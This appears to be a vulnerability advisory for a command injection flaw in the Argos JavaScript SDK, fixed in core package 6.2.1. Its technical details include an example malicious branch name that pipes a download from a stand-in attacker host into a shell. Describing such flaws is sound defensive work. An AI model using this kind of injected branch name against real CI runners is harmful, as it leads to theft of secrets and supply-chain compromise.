Description

Argos JavaScript provides official Argos SDKs for JavaScript. Prior to Argos core package version 6.2.1, attacker-controlled CI branch or ref values from GITHUB_HEAD_REF or ARGOS_BRANCH can flow through config.branch and getMergeBaseCommitSha() when hasRemoteContentAccess is false. The gitFetch() and gitMergeBase() functions in packages/core/src/ci-environment/git.ts interpolate these values into execSync() command strings executed by /bin/sh -c, so shell metacharacters in a pull-request branch name can execute arbitrary commands with the Argos upload process privileges on the CI runner. Successful exploitation can expose CI secrets, alter build artifacts, or compromise the runner. This issue is fixed in Argos core package version 6.2.1.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "7.5",
  "pubDate": "2026-09-14T17:17:49.447Z",
  "pubdate": "2026-09-14T17:17:49.447Z",
  "executiveSummary": "A command injection vulnerability exists in Argos JavaScript SDK versions prior to 6.2.1, resulting from the insecure handling of CI environment variables.\nThe vulnerability occurs when attacker-controlled branch or ref values—specifically GITHUB_HEAD_REF or ARGOS_BRANCH—are improperly sanitized before being used in shell command execution.\nBy injecting shell metacharacters into these CI metadata fields, an attacker can execute arbitrary commands on the CI runner with the privileges of the Argos upload process.\nThe impact includes full compromise of the CI runner, unauthorized access to sensitive CI secrets, and the potential to manipulate build artifacts.\nThis vulnerability is particularly critical in environments where pull requests from untrusted sources can trigger CI pipelines, as it allows for remote code execution (RCE) without requiring existing authentication or elevated privileges within the application itself.\nThe issue is limited to configurations where hasRemoteContentAccess is set to false, which triggers the vulnerable gitFetch() and gitMergeBase() functions.",
  "technicalDetails": "The vulnerability resides within the packages/core/src/ci-environment/git.ts file of the Argos core package. The affected functions, gitFetch() and gitMergeBase(), perform shell command execution using the Node.js execSync() method.\nThe root cause is the direct interpolation of unvalidated input from CI environment variables—specifically GITHUB_HEAD_REF and ARGOS_BRANCH—into the command strings passed to /bin/sh -c. Because execSync() invokes a shell, these variables act as an attack vector for shell metacharacter injection.\nThe attack flow initiates when a malicious actor creates a pull request or CI trigger with a specially crafted branch name containing shell command separators (e.g., ;, &&, |). When the Argos SDK processes these inputs while hasRemoteContentAccess is false, the gitFetch() or gitMergeBase() functions incorporate the malicious branch name into an execution string.\nFor example, if the branch name is defined as 'feature-branch; curl attacker.com/malicious-script | sh', the resulting command executed by the CI runner becomes a concatenation that runs the intended git operation followed immediately by the attacker's shell commands.\nBecause these commands run within the context of the CI runner, they inherit the runner's environment, which frequently includes sensitive credentials such as deployment keys, cloud provider secrets, and environment-specific API tokens.\nThe vulnerability affects all versions of the Argos core package prior to 6.2.1. The attack does not require direct authentication to the target system, as the exploit is triggered automatically upon CI pipeline execution. The requirement that hasRemoteContentAccess be false restricts the exploit to specific CI configurations, but does not provide sufficient protection against determined attackers capable of controlling branch ref inputs.\nPost-exploitation, an attacker can gain persistent access to the CI environment, modify build artifacts to inject backdoors into production code, or exfiltrate sensitive data stored in the build environment variables, thereby escalating the attack from a local execution point to a full supply chain compromise."
}